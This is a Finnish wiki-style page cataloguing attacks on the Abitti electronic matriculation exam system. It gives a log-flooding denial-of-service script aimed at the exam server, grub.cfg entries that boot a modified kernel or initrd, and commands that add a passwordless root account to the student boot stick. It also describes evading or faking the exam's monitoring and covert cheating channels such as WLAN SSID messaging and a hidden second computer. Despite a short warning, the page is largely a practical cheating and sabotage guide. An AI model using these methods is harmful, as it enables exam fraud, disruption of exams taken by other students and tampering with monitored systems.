Haavoittuvuudet

**Haavoittuvuudet**
Hackabi
Digabi-webinaarit
**Abitti**
Ohjelmistot
Tehdyt parannukset
Vanhat Abitti-versiot
Tweak-A-bitin tutkiminen
**Laitteisto**
WLAN-tukiaseman konfigurointi
Tutkintoverkko

**Suomen Kuvalehti** julkaisi 8.5.2015 artikkelin, jossa kuvattiin erilaisia haavoittuvuuksia Abitti-kokeessa ja Digabi-käyttöjärjestelmässä. Haavoittuvuudet olivat palvelunestohyökkäykseen ja käynnistykseen liittyviä. Lisäksi **Suomen Kuvalehti** julkaisi 9.12.2016 uuden artikkelin , jossa kerrottiin, miten sähköistä ylioppilaskoetta pääsee sörkkimään ulkopuolelta.

## Yleistä

Opiskelija pääsee virittelemään järjestelmää, vaikka sekä kone että tikku olisivat koulun puolesta.Suojautuminen vaatisi koulun toimittaman koneen ja sen kanssa kryptografiaa ja obfuskointia. BYOD-mallissa myös virtualisointi pitäisi tunnistaa ja estää varmasti. Jos kone tukee usealta tikulta käynnistämistä, voi salasanasuojatun koneen mahdollisesti pakottaa käynnistämään omalta tikulta, joka asentaa haittaohjelmat / vilpit sisään (joko koneelle tai toiselle tikulle) tai käynnistää Abitti-tikun järjestelmän muuten viritetyin asetuksin.

**Petri Aukian** blogikirjoitus 8.5.2015 *Tietoturvassa perustukset on tehtävä ensin*:

> Kaikille on päivänselvää, että talon perustukset on rakennettava ennen seiniä ja kattoa. Täsmälleen sama koskee myös tietoturva-arkkitehtuuria. Perustuksia ei voi koskaan tehdä seinien jälkeen, eikä tietoturvaa jälkikäteen
> ....
> Tietoturva-alan ammattilaiset ovat tottuneet siihen, että järjestelmien kehittäjätiimeiltä jää huomaamatta tuhansia pikkuvirheitä. Siksi osaava arkkitehti suuunnittelee sovelluksen niin, että vain muutama kohta pitää tehdä erityisen huolella, ettei yksi tai edes kaksi yksittäistä virhettä voi kaataa koko systeemin turvallisuutta.
> Hyvin suunniteltuun järjestelmään on siksi vaikea hyökätä edes kesken kehitysvaiheen. Kruununjalokivet talletetaan tavalla, jossa kohdista, joihin pääsee käsiksi, ei pääse siihen, mitä suojataan. Arkkitehtuurin ja tietoturvan miettimiseen ja suunnitteluun on alussa käytettävä riittävästi aikaa. Vaikka miten olisi olevinaan kiire, niin näitä asioita ei voi siirtää myöhempiin vaiheisiin.
>
>

### Varoitus

Älä käytä tässä kuvattuja menetelmiä missään virallisessa kokeessa!

## Palvelunestohyökkäys

**Palvelunestohyökkäys** (Denial of Service, DoS) tarkoittaa verkkohyökkäystä, jossa pyritään estämään verkkosivuston, koneen tai muun resurssin tarkoitettu käyttö. Palvelunestohyökkäys voidaan tehdä monella eri tavalla.

### Logger-menetelmä

Palvelunestohyökkäys perustuu siihen, että tavallisella käyttäjällä on kommenon `logger` avulla mahdollisuus kirjoittaa systeemin lokitiedostoon haluamansa tekstin. Digabin koejärjestelmä välittää kaikki opiskelijan koneen lokitiedostoihin lähetetyt viestit myös palvelinkoneen lokitiedostoihin.

**Palvelunestohyökkäys**

```
#!/bin/sh
while [ 1 ]
do
 logger -t DigabiOS Tähän tilalle joku pitkä teksti....
done

```

Muokkaamalla ylläolevaa koodia niin, että logger-komennon perässä on todella pitkä pätkä tekstiä, täyttyy systeemin lokitiedosto nopeammin.

Haavoittuvuuden todentamiseksi tehdyssä kokeessa käytettiin opiskelijan tikun versiota **ABITTI15123** ja koetilan palvelimen tikun versiota **SERVER1513D**. Näitä versioita käytettäessä koetilan palvelimen muistikapasiteetti täyttyi noin 10 minuutissa ja palvelin ei pystynyt tämän jälkeen vastaanottamaan opiskelijoiden vastauksia.

4.5.2015 julkaistussa opiskelijan tikun versiossa ABITTI1519Z palvelunestohaavoittuvuutta on puolittain korjattu lisäämällä opiskelijan koneelta lähtevään verkkoliikenteeseen rajoituksia. Koetilan palvelimen päähän muutoksia ei ole tehty, ja haavoittuvuus on siten edelleen olemassa edelleen koetilan palvelimessa. 4.5. tehdyt lisäykset merkitty **+++**-merkinnällä rivin alkuun seuraavassa koodinpätkässä.

**/etc/init.d/digabi-koe**

```
 if ! ${network\_has\_been\_up} ; then
 date "+%T network up for the first time" >> "$stdout\_log"
 sleep 5
 sync_time
 dpkg-query -W 'digabi\*' | tr '\n' '|' | logger -t digabi-version 2>/dev/null
+++ nmcli device status | awk '/ethernet/ {print $1}' | while read dev ; do
+++ tc qdisc add dev ${dev} root tbf rate 500kbit latency 100ms burst 4kb
+++ done
 exit 0
 fi

```

Tämä korjaus kokee ainoastaan kiinteän verkon kautta toteutettua koejärjestelyä. Mikäli koetilanteessa käytetään langatonta verkkoa (WLAN), palvelunestohyökkäys voidaan tehdä Suomen Kuvalehden esittämällä tavalla.

Opiskelijan koneen lähtevään liikenteen rajoitukset saadaan pois käytöstä komennolla *`tc qdisc del root dev eth0`*, mutta tämän suorittaminen vaatii ylläpitäjän oikeuksia.

### Langallisen lähiverkon toiminnan pysäyttäminen

Langallisen lähiverkon liikenne voidaan halvaannuttaa yksinkertaisella kytkennällä.

Kiitokset tästä ideasta ylilauta.org-sivustolle!

## GRUB2-haavoittuvuus

Facebook-keskustelussa J-M Mäkelä esittää, että Digabi-järjestemä voidaan käynnistää haavoittuneesti joko väärän käyttöjärjestelmän ytimen tai väärän initrd-tiedoston avulla.

> *Tuossa oleellista on huomata, että GRUB siis mahdollistaa käynnistämisen eri käyttöjärjestelmään. Esim. käyttäjän omaan. Tässä ei sinänsä ole ongelmaa. Ongelma on siinä, että käyttäjä voi siirtää omaa dataa hiekkalaatikon sisään tai käynnistää hiekkalaatikoidun käyttiksen omilla säädöillään. Tietoturvatermein malicious host -ongelma.*
>
>

> *Linux voidaan käynnistää niin, että esim. käytetään koulun tarjoamaa kerneliä, mutta käynnistetään oma init-ohjelma, jossa on takaportteja. Kun tämä pyörii taustalla, saa hiekkalaatikkoon lisättyä omia ominaisuuksia. Kun tuntee ympäristön tarpeeksi hyvin, noita laajennuksia on helppo tehtailla, jos niihin ei ole varauduttu.*
>
>

> *Tai vaihtoehtoisesti voi käynnistää järjestelmän bugisella kernelillä ja hyödyntää jotain haavoittuvuutta ja saada root-oikeudet lokaalisti ja sen jälkeen hallita järjestelmää.*
>
>

**GRUB2-ohjelma** on käyttöjärjestelmän lataaja, joka tukee monipuolisia komentosarjoja ja grafiikkatiloja. GRUB2-ohjelman avulla ladataan käyttöjärjestelmän ydin keskusmuistiin, initrd-tiedosto ytimen tiedostojärjestelmäksi muistiin ja lopuksi käynnistetään ladattu ydin.

*Digabi Tweaks* -tiimi tutki tätä varsin potentiaaliselta vaikuttanutta mahdollisuutta ja päätyi siihen, että Abitin käynnistyksen yhteydessä järjestelmä voidaan murtaa jopa niin, ettei murtamisesta jää jälkiä. Tämä murtautumiskeino ei ole korjattavissa. Murtautumisessa on käytettävissä kolme toisistaan erillistä keinoa, joita yhdistelemällä saadaan haluttu vaikutus. GRUB2-käynnistyksessä voidaan:

1. vaihtaa käytetty käyttöjärjestelmän ydin toiseksi etukäteen muokatuksi versioksi, jolloin ytimeen voidaan lisätä tai poistaa ominaisuuksia. Esimerkiksi käyttöoikeuksien tarkastaminen voidaan ohittaa halutuilta osin
2. vaihtaa käyttöjärjestelmän käynnistämisessä käytetyt komentotiedostot toisiksi. Tällöin voidaan poistaa käytöstä ei-toivottuja ominaisuuksia, kuten esimerkiksi lokien lähettämien koetilan palvelimelle, tai korvata näitä sopivilla uusilla toiminnoilla, kuten esimerkiksi väärennetyn lokitiedon lähettämisellä. Opiskelijan laitteen kovalevy voidaan ottaa kokonaan käyttöön tai sieltä voidaan kopioida sopivia osioita opiskelijan saataville kokeen ajaksi.
3. ottaa automaattisesti opiskelijan kovalevyllä olevat lisäykset mukaan Digabin tiedostojärjestelmään. Persistence-toiminnolla kovalevylle etukäteen tallennetut tiedostot korvaavat Digabin opiskelijan tikulla olevat tiedostot. Tällöin Digabi-käyttöjärjestelmän käynnistystä voidaa ohjata juuri halutulla tavalla ja lisäksi koejärjestelmään voidaan tuoda haluttuja uusia tiedostoja, vaikkapa opiskelijan luntteja.

Näiden menetelmien käyttöä ei voida estää DigabiOS-käyttöjärjestelmässä, koska kaikki kolme menetelmää suoritetaan ennen kuin DigabiOS on käynnistetty. Vain mielikuvitus on rajana siiten, mitä näillä menetelmillä voidaan tehdä.

### Käyttöjärjestelmän ytimen vaihto

Käynnistyksen yhteydessä koneen käynnistäjä ei valitse käyttöjärjestelmän ytimeksi muistitikulla olevaa YTL:n toimittamaa ydintä, vaan oman muokatun version ytimestä. Omalla versiolla käyttöjärjestelmästä voidaan ohittaa halutut suojaukset ja tehdä tarvittaessa mahdollisilta YTL:n asentamilta valvontaohjelmilta piiloutuneena halutut operaatiot.
Asentamalla seuraava pätkä tietokoneen kovalevyllä olevaan *grub.cfg*-tiedostoon saadaan muistitikulla oleva Abitti-koejärjestelmä käynnistymään muokatun Linux-ytimen avulla, joka on tässä tapauksessa */abitti-tweaks/vmlinuz-hack*-tiedosto.

**/boot/grub/grub.cfg**

```
menuentry "PC 32bit (vanha/gammal/old)" --unrestricted {
 insmod part_gpt
 set root=(hd1,gpt2)
 linux (hd0,1)/abitti-tweaks/vmlinuz-hack boot=live config boot=live config security=apparmor quiet live-media-path=/live32
 initrd /live32/initrd.img
}

```

### Käyttöjärjestelmän alustustiedostojen vaihto

Käyttäjä voi vaihtaa käyttöjärjestelmän alustamisessa käytettävän levykuvan initrd.img haluamakseen. Levykuvan sisällön määräämänä käyttöjärjestelmä tekee halutut murtotoimenpiteet järjestelmänkäynnistyksen yhteydessä. Asentamalla seuraava pätkä tietokoneen kovalevyllä olevaan *grub.cfg*-tiedostoon saadaan muistitikulla oleva abitti-koejärjestelmä käynnistymään väärän levykuvan avulla, joka on tässä tapauksessa */abitti-tweaks/initrd.hack.img*-tiedosto.

**/boot/grub/grub.cfg**

```
menuentry "PC 32bit (vanha/gammal/old)" --unrestricted {
 insmod part_gpt
 set root=(hd1,gpt2)
 linux /live32/vmlinuz boot=live config boot=live config security=apparmor quiet live-media-path=/live32
 initrd (hd0,1)/abitti-tweaks/initrd.hack.img
}

```

### Persistence-levyosion käyttö

GRUB2-käynistyksessä voidaan käyttöjärjestelmän käynnistysparametrit asettaa uudelleen. Esimerkiksi lisäämällä käynnistykseen parametri `persistence` saadaan DigabiOS **automaattisesti lataamaan normaalien muistitikulla olevien tiedostojen joukkoon oppilaan kovalevyllä sijaitsevasta *persistence*-levyosiossa olevia tiedostoja.**

**/boot/grub/grub.cfg**

```
menuentry "PC 32bit (vanha/gammal/old)" --unrestricted {
 insmod part_gpt
 set root=(hd1,gpt2)
 linux /live32/vmlinuz boot=live config boot=live config security=apparmor quiet live-media-path=/live32 persistence
 initrd /live32/initrd.img
}

```

Persistence-levyosion tiedostojärjestelmä pitää olla ext3- tai ext4-muodossa. Tiedostojärjestelmän juureen lisätään tiedosto */persistence.conf* seuraavasti:

**/persistence.conf**

```
/etc union
/home union

```

Persistence-ominaisuus on poistettu syksyn 2015 aikana, eikä ole enää uudemmissa abitti-versioissa käytössä. Tämän vuosi persistence-osion kautta tehdyt hyökkäysyritykset eivät enää toimi.

## Initrd-haavoittuvuus

Initrd-haavoittuvuus on yksi tehokkaimmista tavoista murtautua nopeasti järjestelmään.

*Palaamme tähän tarkemmin lähiaikoina, kunhan olemme saaneet yksityiskohdat selville Suomen Kuvalehden 49/2016 artikkelin perusteella.*

## Squasfs-haavoittuvuus

Squasfs-haavoittuvuudessa opiskelija muuttaa opiskelijan tikulla olevaa käyttöjärjestelmää siten, että lunttaaminen on mahdollista kokeen aikana. Squashfs-haavoittuvuus mahdollistaa hyväksikäytön lukemattomilla eri tavoilla. Yksinkertaisimmillaan käyttöjärjestelmän yhteyteen talleteaan lunttitiedostoja, mutta tämä haavoittuvuus mahdollistaa helpon keinon ottaa vaikkapa WLAN-yhteys käyttöön kokeen aikana. Wlan verkon kautta vodaan lähettäää viestejä koetilan ulkopuolelle tai käyttää verkon hakukoneita tiedon löytämiseen.

Seuraavalla yksinkertaisella komentosekvenssillä saadaan tehtyä häkkeröity abitti normaalista abitista linuxissa:

**Opiskelijan tikun murtaminen**

```
unsquashfs /media/$USER/ABITTIxxx/live/filesystem.squashfs
echo "new\_root::0:0:root:/root:/bin/bash" >> squashfs-root/etc/passwd
rm -f /media/$USER/ABITTIxxxx/live/filesystem.squashfs
mksquashfs squashfs-root /media/$USER/ABITTIxxx/live/filesystem.squashfs

```

Edellä olevassa lisättiin tikulle uusi admistraattorin tunnus ilman salasanaa. Pääset kirjautumaan näihin tunnuksiin painamalla Alt·Ctrl·F1 kun olet abitti järjestelmän sisällä. Vaihtamalla echo-rivin tilalle sopivat komennot voidaan tikulle tehdä mitä tahansa haluttuja toimenpiteitä.

   Ylioppilaskirjoituksissa opiskelijan tikun sisältö julkaistaan noin viikkoa ennen kirjoituksia. Tällöin kokelaalla on viikko aikaa tutkia ja muokata tikun sisältöä ja tallettaa muokattu sisältö vaikkapa miniatyyrikokoiselle USB-tikulle (esim. https://www.verkkokauppa.com/fi/product/2800). Koetilanteessa Abitti voidaan käynnistää tältä huomaamattomalta USB-muistilta kirjoituksissa jaettavan muistitikun sijasta.

## Suojautuminen valvonnalta

Abitti-järjestelmässä on kolme valvontamenetelmää käytössä. Nämä valvontamenetelmät täytyy kiertää tai lähettää niiden kautta väärennettyä tietoa, jos haluaa välttyä jättämästä väärän käytön aiheuttamia jälkiä todisteeksi.

### Järjestelmälokien lähetys koetilan palvelimelle

Järjestelmälokien lähetys tapahtuu rsyslog-ohjelmalla ja konfugurointi on tiedostossa /etc/rsyslog.d/digabi.

### Koetilan valvontajärjestelmä "nsa"

Koetilan valvontajärjestelmä on nimeltään NSA ja se löytyy hakemistosta /var/lib/digabi-koe/server. Järjestelmä on kirjoitettu Javascriptillä, ja se suoritaa koetilan palvelimelta lähetettyjä komentosarjoja. Komentosarjojen tulokset lähetetään takaisin koetilan palvelimelle. Kuitenkin 90% NSA:n tuloksista jää lukematta, eli vaikka arvot eivät olisikaan "oikein", nsa hyväksyy kaiken, kunhan on 25 lokitietoa palautettu.

Sitä paitsi muokattu NSA palvelin voi aina palauttaa oikeat arvot = Abitti *defeated*

### Ylioppilaskokeiden lisävalvonta

Ylioppilaskokeissa on kolmas valvontajärjestelmä, jota emme tässä käsittele sen tarkemmin. Tämä kolmas valvontajärjestelmä ei ole käytössä normaaleissa abitti-kurssikokeissa.

## Muita tapoja

### PCI mikrokontrolleri

J. Seppänen Facebookissa

> *Virtualisoinnin tunnistaminenkaan ei riitä, jos vastapuoli pääsee valmistelemaan laitteen. Läppärin sisälle voisi piilottaa mikrokontrollerin, jolla on PCI-väylän kautta pääsy koneen muistiin prosessorin ohi. Serverilaitteissa tällaisia on valmiina esim. nimellä IPMI, ja taitaa joissakin työasemissakin olla Intelin AMT. Voisi olla hauska harjoitus jollekulle hakkerille ohjelmoida jokin tällainen auttamaan kirjoituksissa.*
>
>

### Kahdennettu läppäri

Helsingin Sanomat kuvasi 24.8.2013 julkaistussa artikkelissa yleisellä tasolla ideoita virtualikoneesta ja kahdennetuista läppäristä.

> *Elektroniikka on jo niin pientä, että keskikokoisen kannettavan kuoriin mahtuisi kaksi eri tietokonetta. Niitä voisi käyttää samalla näytöllä ja näppäimistöllä. Yhdellä koneella oppilas käyttäisi yo-koeohjelmaa ja toisella lunttaisi tietoa.*
>
>

> *Tavalliseen tietokoneeseen voi käynnistää myös virtuaalikoneen, jolloin lopputulos on käytännössä lähes sama.*
>
>

> *On kuitenkin menetelmiä, joilla ohjelma voi yrittää päätellä, toimiiko se virtuaalikoneessa – ja kieltäytyä toimimasta, jos näin on. Taitava oppilas taas voi ottaa käyttöön vastamenetelmiä, jotka peittävät näitä jälkiä.*
>
>

Käsistään näppärä harrastaja voi hankkia vanhan isokokoisen läppärin ja muokkata sen sisäosia. Läppärin sisään laitetaan kaksi erillistä konetta, esimerkiksi pienikokoinen **Raspberry Pi** 3G-modeemilla varustettuna ja normaali Windows-kone Abitti-käyttöön. Näyttö ja näppäimistö on kytketty sisäiseen KVM-kytkimeen, jolloin kokelas voi vaihdella vapaasti näiden kahden koneen välillä. Kaikki tarvittavat osat ovat vapaasti saatavilla ja maksavat yhteensä vain joitakin satoja euroja.

Tämän menetelmän etuna on se, ettei sitä voi mitenkään sähköisillä järjestelmillä havaita, koska Abitti-järjestelmään tai siihen liittyvään tietokoneeseen ei ole tehty mitään muutoksia. Rinnalla on vain näkymättömissä toinen kone, jolla tiedonhaku voidaan toteuttaa.

### Virtuaalikone

Idea virtuaalikoneiden käyttämisestä hyökkäyksiin syntyi Abitti-webinaareista, joissa YTL käyttää virtuaalikoneita Abitin toiminnan esittelyyn.

Virtuaalikone on ohjelma, jonka avulla jotain muuta käyttöjärjestelmää voidaan ajaa normaalin käyttöjärjestelmän päällä. Helppo tapa tunnistaa, ajetaanko käyttöjärjestelmää virtuaalikoneessa, on käyttää Linuxin `virtwhat`-komentoa. On oletettavaa, että myös YTL tulee tunnistamaan yritykset ajaa Digabia virtuaalikoneessa `virtwhat`-komennolla (tai muulla vastaavalla ohjelmalla). Komennon toiminta perustuu siihen, että se havaitsee virtuaalikoneen "sormenjäljen" käyttöympäristössään. Helppo tapa saada *virtwhat* olemaan havaitsematta virtuaalikoneen käyttöä on ottaa avoimen lähdekoodin virtuaalikone käyttöön ja muokata sitä juuri sen verran, ettei *virtwhat* enää tunnista muuttunutta virtuaalikonetta.

Virtuaalikonetta käytettäessä opiskelija vastaa koekysymyksiin virtuaalikoneessa toimivassa koejärjestelmässä ja  pääsee käsiksi haluamaansa aineistoon normaalin käyttöjärjestelmän alaisuudessa.

### Morsetusta äänikortin avulla

Hackabi-kilpailussa eräs innovatiivinen ratkaisu oli Juha Koiviston idea viestinvaihdosta kahden kokelaan välillä käyttämällä äänikorttia ja morsetusta. Tämä reikä lienee tukittu nykyisissä abitin versioissa.

### Viestinvaihto WLAN-verkon SSID:n avulla

Nimimerkki AirZero kysyi Digabi-sivustolla
:

> Mietityttää tuo kuvassa oleva wlanin valinta? Onko lähellä olevat wlanit mahdollista nähdä myös ylioppilaskokeiden aikana? Wlanin nimeä muuttamallahan voi viestittää suoraan salissa istujille.
>
>

Tämä on todella hieno ajatus viestinvaihtoon! WLAN-tukiasemien nimien (=SSID) avulla voidaan todellakin lähettää 32 merkkiä pitkiä viestejä koetilan ulkopuolelta kokelaalle. Myös pienimuotoinen viestinlähetys kokelaalta ulkopuolella olevaan tukiasemaan onnistuu WLAN-salausavaimen avulla. Kokelas voi kysyä apua koetilan ulkopuolella olevalta kaverilta lähettämällä kysymyksensä ulkopuolisen WLAN-verkon salausavain-kentässä, ja saada sitten vastauksen SSID-tekstinä.

Abitti-järjestelmän palomuurit eivät estä tätä kommunikointimenettelyä, ja koetilan ulkopuolella olevan WLAN-tukiaseman ei tarvitse kuin näyttää avustavalle kaverille tukiasemaan tulleiden yhteyspyyntöjen salausavaimet selväkielisinä. Äärimmäisen helppoa!

### Nimihuijaus kurssikokeissa

Ylioppilaslautakunnan Digabi-tiimiussä aiemmin toiminut ohjelmistokehittäjä Janne Cederberg esittelee omilla webbisivuillaan menetelmän, jossa kaksi opiskelijaa voivat huijata vastaamaalla toistensa nimissä abitti-kurssikokeissa. Menetelmä ei toimi sähköisissä ylioppilaskirjoituksissa.

Linkki Jannen sivulle: http://jannecederberg.fi/2016/02/18/nimihuijaus-abitti-kurssikokeessa/

## Esimerkkivideo

Sivulla Abitin murtaminen on 8 minuuttia kestävä esimerkkivideo siitä, miten edellä kuvatuilla hyväksikäyttömenetelmillä voidaan murtaa Abitti-kurssikokeen suojaukset, siirtää luntteja koeympäristöön ja avata netti tiedonhakua varten.

## Ohjeet Abitin tutkimiseen

Abitin ominaisuuksien tutkiminen on mielenkiintoista ja opettavaista puuhaa. Ominaisuuksien tutkimisessa ei ole mitään lain tai edes hyvän tavan vastaista. Tutkiminen tapahtuu parhaiten asentamalla ensiksi omalle tietokoneelle Linux-käyttöjärjestelmä, vaikkapa olemassa olevan käyttöjärjestelmän rinnalla.

### Koetilan palvelimen (KPT) tutkiminen

Vinkit koetilan palvelimen rakenteen ja ominaisuuksien tutkimiseen on annettu sivulla Koetilan palvelimen tutkiminen.

### Opiskelijan koneen tutkiminen

Vinkit opiskelijan koneen rakenteen ja ominaisuuksien tutkimiseen on annettu sivulla Opiskelijan koneen tutkiminen.

## Lähteet ja viitteet

1. ↑ Vehkaoja, Mikael: Nämä viisi riviä koodia - ja koulun ylioppilaskirjoitukset on tuhottu *suomenkuvalehti.fi*. 8.5.2015. Viitattu 8.5.2015.
2. ↑ Vehkaoja, Mikael: Improbatur. *Suomen Kuvalehti*, 2015, nro 19, s. 20–25. Otavamedia.
3. ↑ Pulsa, Tuomas: Näin vilppi onnistuu sähköisessä ylioppilaskokeessa - Abi käynnistää huijausohjelman sekunneissa *suomenkuvalehti.fi*. 13.12.2016. Viitattu 21.12.2016.
4. ↑ Pulsa, Tuomas: Tavoitteena (vale)laudatur. *Suomen Kuvalehti*, 2016, nro 49, s. 26–30. Otavamedia.
5. ↑ 5,0 5,1 5,2 Tieto- ja viestintätekniikka opetuksessa/ITC in Education *facebook.com*. Viitattu 8.5.2015.
6. ↑ Aukia, Petri: Tietoturvassa perustukset on tehtävä ensin *codento.fi*. 8.5.2015. Viitattu 12.5.2015.
7. ↑ Palvelunestohyökkäys *wikipedia.org*. Viitattu 17.9.2015.
8. ↑ GNU GRUB *fi.wikipedia.org*.
9. ↑ GNU GRUB *en.wikipedia.org*. (englanniksi)
10. ↑ Initrd *en.wikipedia.org*. (englanniksi)
11. ↑ Koistinen, Olavi: Netissä lunttaaminen on pulma sähköisessä ylioppilaskokeessa *hs.fi*. 24.8.2013. Viitattu 12.5.2015.
12. ↑ http://www.juhakoivisto.com/pdf/digabiHack.pdf
13. ↑ Lattu, Matti: Päätelaitemäärityksiä ajanmukaistettiin – näin testaat koneen *digabi.fi*. 12.6.2015. Viitattu 18.6.2015.